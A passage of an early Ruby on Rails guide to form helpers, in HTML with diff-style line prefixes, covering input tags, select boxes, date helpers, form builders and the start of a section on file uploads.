-<div class="content">
-<pre><tt>form_tag({:controller =&gt; "people", :action =&gt; "search"}, :method =&gt; "get", :class =&gt; "nifty_form")
-# =&gt; &lt;form action="/people/search" method="get" class="nifty_form"&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>This is a common pitfall when using form helpers, since many of them accept multiple hashes. So in future, if a helper produces unexpected output, make sure that you have delimited the hash parameters properly.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">Do not delimit the second hash without doing so with the first hash, otherwise your method invocation will result in an <tt>expecting tASSOC</tt> syntax error.</td>
-</tr></table>
-</div>
-<h3 id="_checkboxes_radio_buttons_and_other_controls">1.3. Checkboxes, radio buttons and other controls</h3>
-<div class="paragraph"><p>Checkboxes are form controls that give the user a set of options they can enable or disable:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;%= check_box_tag(:pet_dog) %&gt;
- &lt;%= label_tag(:pet_dog, "I own a dog") %&gt;
-&lt;%= check_box_tag(:pet_cat) %&gt;
- &lt;%= label_tag(:pet_cat, "I own a cat") %&gt;
-
-output:
-
-&lt;input id="pet_dog" name="pet_dog" type="checkbox" value="1" /&gt;
- &lt;label for="pet_dog"&gt;I own a dog&lt;/label&gt;
-&lt;input id="pet_cat" name="pet_cat" type="checkbox" value="1" /&gt;
- &lt;label for="pet_cat"&gt;I own a cat&lt;/label&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (user can only pick one):</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;%= radio_button_tag(:age, "child") %&gt;
- &lt;%= label_tag(:age_child, "I am younger than 21") %&gt;
-&lt;%= radio_button_tag(:age, "adult") %&gt;
- &lt;%= label_tag(:age_adult, "I'm over 21") %&gt;
-
-output:
-
-&lt;input id="age_child" name="age" type="radio" value="child" /&gt;
- &lt;label for="age_child"&gt;I am younger than 21&lt;/label&gt;
-&lt;input id="age_adult" name="age" type="radio" value="adult" /&gt;
- &lt;label for="age_adult"&gt;I'm over 21&lt;/label&gt;</tt></pre>
-</div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/important.png" alt="Important" />
-</td>
-<td class="content">Always use labels for each checkbox and radio button. They associate text with a specific option and provide a larger clickable region.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>Other form controls worth mentioning are the text area, password input and hidden input:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;%= text_area_tag(:message, "Hi, nice site", :size =&gt; "24x6") %&gt;
-&lt;%= password_field_tag(:password) %&gt;
-&lt;%= hidden_field_tag(:parent_id, "5") %&gt;
-
-output:
-
-&lt;textarea id="message" name="message" cols="24" rows="6"&gt;Hi, nice site&lt;/textarea&gt;
-&lt;input id="password" name="password" type="password" /&gt;
-&lt;input id="parent_id" name="parent_id" type="hidden" value="5" /&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>Hidden inputs are not shown to the user, but they hold data same as any textual input. Values inside them can be changed with JavaScript.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">If you&#8217;re using password input fields (for any purpose), you might want to prevent their values showing up in application logs by activating <tt>filter_parameter_logging(:password)</tt> in your ApplicationController.</td>
-</tr></table>
-</div>
-<h3 id="_how_do_forms_with_put_or_delete_methods_work">1.4. How do forms with PUT or DELETE methods work?</h3>
-<div class="paragraph"><p>Rails framework encourages RESTful design of your applications, which means you&#8217;ll be making a lot of "PUT" and "DELETE" requests (besides "GET" and "POST"). Still, most browsers <em>don&#8217;t support</em> methods other than "GET" and "POST" when it comes to submitting forms. How does this work, then?</p></div>
-<div class="paragraph"><p>Rails works around this issue by emulating other methods over POST with a hidden input named <tt>"_method"</tt> that is set to reflect the desired method:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>form_tag(search_path, :method =&gt; "put")
-
-output:
-
-&lt;form action="/search" method="post"&gt;
- &lt;div style="margin:0;padding:0"&gt;
- &lt;input name="_method" type="hidden" value="put" /&gt;
- &lt;input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" /&gt;
- &lt;/div&gt;
- ...</tt></pre>
-</div></div>
-<div class="paragraph"><p>When parsing POSTed data, Rails will take into account the special <tt>_method</tt> parameter and act as if the HTTP method was the one specified inside it ("PUT" in this example).</p></div>
-</div>
-<h2 id="_different_families_of_helpers">2. Different Families of helpers</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Most of Rails' form helpers are available in two forms.</p></div>
-<h3 id="_barebones_helpers">2.1. Barebones helpers</h3>
-<div class="paragraph"><p>These just generate the appropriate markup. These have names ending in _tag such as <tt>text_field_tag</tt>, <tt>check_box_tag</tt>. The first parameter to these is always the name of the input. This is the name under which value will appear in the <tt>params</tt> hash in the controller. For example if the form contains</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;%= text_field_tag(:query) %&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>then the controller code should use</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>params[:query]</tt></pre>
-</div></div>
-<div class="paragraph"><p>to retrieve the value entered by the user. When naming inputs be aware that Rails uses certain conventions that control whether values appear at the top level of the params hash, inside an array or a nested hash and so on. You can read more about them in the <a href="#parameter_names">parameter names</a> section. For details on the precise usage of these helpers, please refer to the <a href="http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html">API documentation</a>.</p></div>
-<h3 id="_model_object_helpers">2.2. Model object helpers</h3>
-<div class="paragraph"><p>These are designed to work with a model object (commonly an Active Record object but this need not be the case). These lack the _tag suffix, for example <tt>text_field</tt>, <tt>text_area</tt>.</p></div>
-<div class="paragraph"><p>For these helpers the first arguement is the name of an instance variable and the second is the name a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined <tt>@person</tt> and that person&#8217;s name is Henry then a form containing:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;%= text_field(:person, :name) %&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>will produce output similar to</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;input id="person_name" name="person[name]" type="text" value="Henry"/&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>Upon form submission the value entered by the user will be stored in <tt>params[:person][:name]</tt>. The <tt>params[:person]</tt> hash is suitable for passing to <tt>Person.new</tt> or, if <tt>@person</tt> is an instance of Person, <tt>@person.update_attributes</tt>.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">
-<div class="paragraph"><p>You must pass the name of an instance variable, i.e. <tt>:person</tt> or <tt>"person"</tt>, not an actual instance of your model object.</p></div>
-</td>
-</tr></table>
-</div>
-</div>
-<h2 id="_forms_that_deal_with_model_attributes">3. Forms that deal with model attributes</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>While the helpers seen so far are handy Rails can save you some work. For example typically a form is used to edit multiple attributes of a single object, so having to repeat the name of the object being edited is clumsy. The following examples will handle an Article model. First, have the controller create one:</p></div>
-<div class="listingblock">
-<div class="title">articles_controller.rb</div>
-<div class="content">
-<pre><tt>def new
- @article = Article.new
-end</tt></pre>
-</div></div>
-<div class="paragraph"><p>Now switch to the view. The first thing to remember is to use the <tt>form_for</tt> helper instead of <tt>form_tag</tt>, and that you should pass the model name and object as arguments:</p></div>
-<div class="listingblock">
-<div class="title">articles/new.html.erb</div>
-<div class="content">
-<pre><tt>&lt;% form_for :article, @article, :url =&gt; { :action =&gt; "create" }, :html =&gt; {:class =&gt; "nifty_form"} do |f| %&gt;
- &lt;%= f.text_field :title %&gt;
- &lt;%= f.text_area :body, :size =&gt; "60x12" %&gt;
- &lt;%= submit_tag "Create" %&gt;
-&lt;% end %&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>There are a few things to note here:</p></div>
-<div class="olist arabic"><ol class="arabic">
-<li>
-<p>
-<tt>:article</tt> is the name of the model and <tt>@article</tt> is the record.
-</p>
-</li>
-<li>
-<p>
-There is a single hash of options. Routing options are passed inside <tt>:url</tt> hash, HTML options are passed in the <tt>:html</tt> hash.
-</p>
-</li>
-<li>
-<p>
-The <tt>form_for</tt> method yields <strong>a form builder</strong> object (the <tt>f</tt> variable).
-</p>
-</li>
-<li>
-<p>
-Methods to create form controls are called <strong>on</strong> the form builder object <tt>f</tt>
-</p>
-</li>
-</ol></div>
-<div class="paragraph"><p>The resulting HTML is:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;form action="/articles/create" method="post" class="nifty_form"&gt;
- &lt;input id="article_title" name="article[title]" size="30" type="text" /&gt;
- &lt;textarea id="article_body" name="article[body]" cols="60" rows="12"&gt;&lt;/textarea&gt;
- &lt;input name="commit" type="submit" value="Create" /&gt;
-&lt;/form&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>The name passed to <tt>form_for</tt> controls where in the params hash the form values will appear. Here the name is <tt>article</tt> and so all the inputs have names of the form <tt>article[attribute_name]</tt>. Accordingly, in the <tt>create</tt> action <tt>params[:article]</tt> will be a hash with keys <tt>:title</tt> and <tt>:body</tt>. You can read more about the significance of input names in the <a href="#parameter_names">parameter names</a> section.</p></div>
-<div class="paragraph"><p>The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder.</p></div>
-<h3 id="_relying_on_record_identification">3.1. Relying on record identification</h3>
-<div class="paragraph"><p>In the previous chapter you handled the Article model. This model is directly available to users of our application, so&#8201;&#8212;&#8201;following the best practices for developing with Rails&#8201;&#8212;&#8201;you should declare it <strong>a resource</strong>.</p></div>
-<div class="paragraph"><p>When dealing with RESTful resources, calls to <tt>form_for</tt> can get significantly easier if you rely on <strong>record identification</strong>. In short, you can just pass the model instance and have Rails figure out model name and the rest:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>## Creating a new article
-# long-style:
-form_for(:article, @article, :url =&gt; articles_path)
-# same thing, short-style (record identification gets used):
-form_for(@article)
-
-## Editing an existing article
-# long-style:
-form_for(:article, @article, :url =&gt; article_path(@article), :method =&gt; "put")
-# short-style:
-form_for(@article)</tt></pre>
-</div></div>
-<div class="paragraph"><p>Notice how the short-style <tt>form_for</tt> invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking <tt>record.new_record?</tt>. It also selects the correct path to submit to and the name based on the class of the object.</p></div>
-<div class="paragraph"><p>Rails will also automatically set the class and id of the form appropriately: a form creating an article would have id and class <tt>new_article</tt>. If you were editing the article with id 23 the class would be set to <tt>edit_article</tt> and the id to <tt>edit_article_23</tt>. The attributes will be omitted or brevity in the rest of this guide.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">When you&#8217;re using STI (single-table inheritance) with your models, you can&#8217;t rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, <tt>:url</tt> and <tt>:method</tt> explicitly.</td>
-</tr></table>
-</div>
-<h4 id="_dealing_with_namespaces">3.1.1. Dealing with namespaces</h4>
-<div class="paragraph"><p>If you have created namespaced routes <tt>form_for</tt> has a nifty shorthand for that too. If your application has an admin namespace then</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>form_for [:admin, @article]</tt></pre>
-</div></div>
-<div class="paragraph"><p>will create a form that submits to the articles controller inside the admin namespace (submitting to <tt>admin_article_path(@article)</tt> in the case of an update). If you have several levels of namespacing then the syntax is similar:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>form_for [:admin, :management, @article]</tt></pre>
-</div></div>
-<div class="paragraph"><p>For more information on Rails' routing system and the associated conventions, please see the <a href="../routing_outside_in.html">routing guide</a>.</p></div>
-</div>
-<h2 id="_making_select_boxes_with_ease">4. Making select boxes with ease</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Select boxes in HTML require a significant amount of markup (one <tt>OPTION</tt> element for each option to choose from), therefore it makes the most sense for them to be dynamically generated from data stored in arrays or hashes.</p></div>
-<div class="paragraph"><p>Here is what our wanted markup might look like:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;select name="city_id" id="city_id"&gt;
- &lt;option value="1"&gt;Lisabon&lt;/option&gt;
- &lt;option value="2"&gt;Madrid&lt;/option&gt;
- ...
- &lt;option value="12"&gt;Berlin&lt;/option&gt;
-&lt;/select&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>Here you have a list of cities where their names are presented to the user, but internally the application only wants to handle their IDs so they are used as the options' value attributes. Let&#8217;s see how Rails can help out here.</p></div>
-<h3 id="_the_select_tag_and_options">4.1. The select tag and options</h3>
-<div class="paragraph"><p>The most generic helper is <tt>select_tag</tt>, which&#8201;&#8212;&#8201;as the name implies&#8201;&#8212;&#8201;simply generates the <tt>SELECT</tt> tag that encapsulates an options string:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;%= select_tag(:city_id, '&lt;option value="1"&gt;Lisabon&lt;/option&gt;...') %&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>This is a start, but it doesn&#8217;t dynamically create our option tags. You can generate option tags with the <tt>options_for_select</tt> helper:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;%= options_for_select([['Lisabon', 1], ['Madrid', 2], ...]) %&gt;
-
-output:
-
-&lt;option value="1"&gt;Lisabon&lt;/option&gt;
-&lt;option value="2"&gt;Madrid&lt;/option&gt;
-...</tt></pre>
-</div></div>
-<div class="paragraph"><p>For input data you use a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will get submitted to your controller. It is often true that the option value is the id of a corresponding database object but this does not have to be the case.</p></div>
-<div class="paragraph"><p>Knowing this, you can combine <tt>select_tag</tt> and <tt>options_for_select</tt> to achieve the desired, complete markup:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;%= select_tag(:city_id, options_for_select(...)) %&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>Sometimes, depending on an application&#8217;s needs, you also wish a specific option to be pre-selected. The <tt>options_for_select</tt> helper supports this with an optional second argument:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;%= options_for_select([['Lisabon', 1], ['Madrid', 2], ...], 2) %&gt;
-
-output:
-
-&lt;option value="1"&gt;Lisabon&lt;/option&gt;
-&lt;option value="2" selected="selected"&gt;Madrid&lt;/option&gt;
-...</tt></pre>
-</div></div>
-<div class="paragraph"><p>So whenever Rails sees that the internal value of an option being generated matches this value, it will add the <tt>selected</tt> attribute to that option.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">
-<div class="paragraph"><p>The second argument to <tt>options_for_select</tt> must be exactly equal to the desired internal value. In particular if the internal value is the integer 2 you cannot pass "2" to <tt>options_for_select</tt>&#8201;&#8212;&#8201;you must pass 2. Be aware of values extracted from the params hash as they are all strings.</p></div>
-</td>
-</tr></table>
-</div>
-<h3 id="_select_boxes_for_dealing_with_models">4.2. Select boxes for dealing with models</h3>
-<div class="paragraph"><p>Until now you&#8217;ve seen how to make generic select boxes, but in most cases our form controls will be tied to a specific database model. So, to continue from our previous examples, let&#8217;s assume that you have a "Person" model with a <tt>city_id</tt> attribute.</p></div>
-<div class="paragraph"><p>Consistent with other form helpers, when dealing with models you drop the <tt>_tag</tt> suffix from <tt>select_tag</tt>.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt># controller:
-@person = Person.new(:city_id =&gt; 2)
-
-# view:
-&lt;%= select(:person, :city_id, [['Lisabon', 1], ['Madrid', 2], ...]) %&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>Notice that the third parameter, the options array, is the same kind of argument you pass to <tt>options_for_select</tt>. One advantage here is that you don&#8217;t have to worry about pre-selecting the correct city if the user already has one&#8201;&#8212;&#8201;Rails will do this for you by reading from the <tt>@person.city_id</tt> attribute.</p></div>
-<div class="paragraph"><p>As before, if you were to use <tt>select</tt> helper on a form builder scoped to <tt>@person</tt> object, the syntax would be:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt># select on a form builder
-&lt;%= f.select(:city_id, ...) %&gt;</tt></pre>
-</div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">
-<div class="paragraph"><p>If you are using <tt>select</tt> (or similar helpers such as <tt>collection_select</tt>, <tt>select_tag</tt>) to set a <tt>belongs_to</tt> association you must pass the name of the foreign key (in the example above <tt>city_id</tt>), not the name of association itself. If you specify <tt>city</tt> instead of `city_id Active Record will raise an error along the lines of</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got Fixnum(#1138750)</tt></pre>
-</div></div>
-<div class="paragraph"><p>when you pass the params hash to <tt>Person.new</tt> or <tt>update_attributes</tt>. Another way of looking at this is that form helpers only edit attributes.</p></div>
-</td>
-</tr></table>
-</div>
-<h3 id="_option_tags_from_a_collection_of_arbitrary_objects">4.3. Option tags from a collection of arbitrary objects</h3>
-<div class="paragraph"><p>Until now you were generating option tags from nested arrays with the help of <tt>options_for_select</tt> method. Data in our array were raw values:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;%= options_for_select([['Lisabon', 1], ['Madrid', 2], ...]) %&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>But what if you had a <strong>City</strong> model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;% cities_array = City.find(:all).map { |city| [city.name, city.id] } %&gt;
-&lt;%= options_for_select(cities_array) %&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>This is a perfectly valid solution, but Rails provides a less verbose alternative: <tt>options_from_collection_for_select</tt>. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option <strong>value</strong> and <strong>text</strong> from, respectively:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;%= options_from_collection_for_select(City.all, :id, :name) %&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with <tt>select_tag</tt>, just as you would with <tt>options_for_select</tt>. A method to go along with it is <tt>collection_select</tt>:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;%= collection_select(:person, :city_id, City.all, :id, :name) %&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>To recap, <tt>options_from_collection_for_select</tt> is to <tt>collection_select</tt> what <tt>options_for_select</tt> is to <tt>select</tt>.</p></div>
-<h3 id="_time_zone_and_country_select">4.4. Time zone and country select</h3>
-<div class="paragraph"><p>To leverage time zone support in Rails, you have to ask our users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using <tt>collection_select</tt>, but you can simply use the <tt>time_zone_select</tt> helper that already wraps this:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;%= time_zone_select(:person, :city_id) %&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>There is also <tt>time_zone_options_for_select</tt> helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods.</p></div>
-<div class="paragraph"><p>Rails <em>used</em> to have a <tt>country_select</tt> helper for choosing countries but this has been extracted to the <a href="http://github.com/rails/country_select/tree/master">country_select plugin</a>. When using this do be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from rails)</p></div>
-</div>
-<h2 id="_date_and_time_select_boxes">5. Date and time select boxes</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>The date and time helpers differ from all the other form helpers in two important respects:</p></div>
-<div class="olist arabic"><ol class="arabic">
-<li>
-<p>
-Unlike other attributes you might typically have, dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc...). So in particular, there is no single value in your params hash with your date or time.
-</p>
-</li>
-<li>
-<p>
-Other helpers use the _tag suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, <tt>select\_date</tt>, <tt>select\_time</tt> and <tt>select_datetime</tt> are the barebones helpers, <tt>date_select</tt>, <tt>time_select</tt> and <tt>datetime_select</tt> are the equivalent model object helpers
-</p>
-</li>
-</ol></div>
-<div class="paragraph"><p>Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc...).</p></div>
-<h3 id="_barebones_helpers_2">5.1. Barebones helpers</h3>
-<div class="paragraph"><p>The <tt>select_*</tt> family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;%= select_date Date::today, :prefix =&gt; :start_date %&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>outputs (with the actual option values omitted for brevity)</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;select id="start_date_year" name="start_date[year]"&gt; ... &lt;/select&gt;
-&lt;select id="start_date_month" name="start_date[month]"&gt; ... &lt;/select&gt;
-&lt;select id="start_date_day" name="start_date[day]"&gt; ... &lt;/select&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>The above inputs would result in <tt>params[:start_date]</tt> being a hash with keys :year, :month, :day. To get an actual Time or Date object you would have to extract these values and pass them to the appropriate constructor, for example</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>Date::civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i)</tt></pre>
-</div></div>
-<div class="paragraph"><p>The :prefix option controls where in the params hash the date components will be placed. Here it was set to <tt>start_date</tt>, if omitted it will default to <tt>date</tt>.</p></div>
-<h3 id="_model_object_helpers_2">5.2. Model object helpers</h3>
-<div class="paragraph"><p><tt>select_date</tt> does not work well with forms that update or create Active Record objects as Active Record expects each element of the params hash to correspond to one attribute.
-The model object helpers for dates and times submit parameters with special names. When Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;%= date_select :person, :birth_date %&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>outputs (with the actual option values omitted for brevity)</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;select id="person_birth_date_1i" name="person[birth_date(1i)]"&gt; ... &lt;/select&gt;
-&lt;select id="person_birth_date_2i" name="person[birth_date(2i)]"&gt; ... &lt;/select&gt;
-&lt;select id="person_birth_date_3i" name="person[birth_date(3i)]"&gt; ... &lt;/select&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>which results in a params hash like</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>{:person =&gt; {'birth_date(1i)' =&gt; '2008', 'birth_date(2i)' =&gt; '11', 'birth_date(3i)' =&gt; '22'}}</tt></pre>
-</div></div>
-<div class="paragraph"><p>When this is passed to <tt>Person.new</tt>, Active Record spots that these parameters should all be used to construct the <tt>birth_date</tt> attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as <tt>Date::civil</tt>.</p></div>
-<h3 id="_common_options">5.3. Common options</h3>
-<div class="paragraph"><p>Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the <tt>:start_year</tt> and <tt>:end_year</tt> options override this. For an exhaustive list of the available options, refer to the <a href="http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html">API documentation</a>.</p></div>
-<div class="paragraph"><p>As a rule of thumb you should be using <tt>date_select</tt> when working with model objects and <tt>select_date</tt> in others cases, such as a search form which filters results by date.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">In many cases the built in date pickers are clumsy as they do not aid the user in working out the relationship between the date and the day of the week.</td>
-</tr></table>
-</div>
-</div>
-<h2 id="_form_builders">6. Form builders</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>As mentioned previously the object yielded by <tt>form_for</tt> and <tt>fields_for</tt> is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying a form elements for a single object. While you can of course write helpers for your forms in the usual way you can also subclass FormBuilder and add the helpers there. For example</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;% form_for @person do |f| %&gt;
- &lt;%= text_field_with_label f, :first_name %&gt;
-&lt;% end %&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>can be replaced with</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;% form_for @person, :builder =&gt; LabellingFormBuilder do |f| %&gt;
- &lt;%= f.text_field :first_name %&gt;
-&lt;% end %&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>by defining a LabellingFormBuilder class similar to the following:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LabellingFormBuilder <span style="color: #990000">&lt;</span> FormBuilder
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> text_field attribute<span style="color: #990000">,</span> options<span style="color: #990000">=</span><span style="color: #FF0000">{}</span>
- label<span style="color: #990000">(</span>attribute<span style="color: #990000">)</span> <span style="color: #990000">+</span> text_field<span style="color: #990000">(</span>attribute<span style="color: #990000">,</span> options<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>If you reuse this frequently you could define a <tt>labeled_form_for</tt> helper that automatically applies the <tt>:builder =&gt; LabellingFormBuilder</tt> option.</p></div>
-<div class="paragraph"><p>The form builder used also determines what happens when you do</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;%= render :partial =&gt; f %&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>If <tt>f</tt> is an instance of FormBuilder then this will render the <em>form</em> partial, setting the partial&#8217;s object to the form builder. If the form builder is of class LabellingFormBuilder then the <em>labelling_form</em> partial would be rendered instead.</p></div>
-<h3 id="_scoping_out_form_controls_with_tt_fields_for_tt">6.1. Scoping out form controls with <tt>fields_for</tt></h3>
-<div class="paragraph"><p><tt>fields_for</tt> creates a form builder in exactly the same way as <tt>form_for</tt> but doesn&#8217;t create the actual <tt>&lt;form&gt;</tt> tags. It creates a scope around a specific model object like <tt>form_for</tt>, which is useful for specifying additional model objects in the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for editing both like so:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;% form_for @person do |person_form| %&gt;
- &lt;%= person_form.text_field :name %&gt;
- &lt;% fields_for @person.contact_detail do |contact_details_form| %&gt;
- &lt;%= contact_details_form.text_field :phone_number %&gt;
- &lt;% end %&gt;
-&lt;% end %&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>which produces the following output:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;form action="/people/1" class="edit_person" id="edit_person_1" method="post"&gt;
- &lt;input id="person_name" name="person[name]" size="30" type="text" /&gt;
- &lt;input id="contact_detail_phone_number" name="contact_detail[phone_number]" size="30" type="text" /&gt;
-&lt;/form&gt;</tt></pre>
-</div></div>
-</div>
-<h2 id="_file_uploads">7. File Uploads</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>A common task is uploading some sort of file, whether it&#8217;s a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the form&#8217;s encoding <strong>MUST</strong> be set to multipart/form-data. If you forget to do this the file will not be uploaded. This can be done by passing <tt>:multi_part =&gt; true</tt> as an HTML option. This means that in the case of <tt>form_tag</tt> it must be passed in the second options hash and in the case of <tt>form_for</tt> inside the <tt>:html</tt> hash.</p></div>
-<div class="paragraph"><p>The following two forms both upload a file.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;% form_tag({:action =&gt; :upload}, :multipart =&gt; true) do %&gt;
- &lt;%= file_field_tag 'picture' %&gt;
-&lt;% end %&gt;
-
-&lt;% form_for @person, :html =&gt; {:multipart =&gt; true} do |f| %&gt;
- &lt;%= f.file_field :picture %&gt;
-&lt;% end %&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>Rails provides the usual pair of helpers: the barebones <tt>file_field_tag</tt> and the model oriented <tt>file_field</tt>. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in <tt>params[:picture]</tt> and in the second case in <tt>params[:person][:picture]</tt>.</p></div>
-<h3 id="_what_gets_uploaded">7.1. What gets uploaded</h3>
-<div class="paragraph"><p>The object in the params hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an <tt>original_filename</tt> attribute containing the name the file had on the user&#8217;s computer and a <tt>content_type</tt> attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in <tt>#{RAILS_ROOT}/public/uploads</tt> under the same name as the original file (assuming the form was the one in the previous example).</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
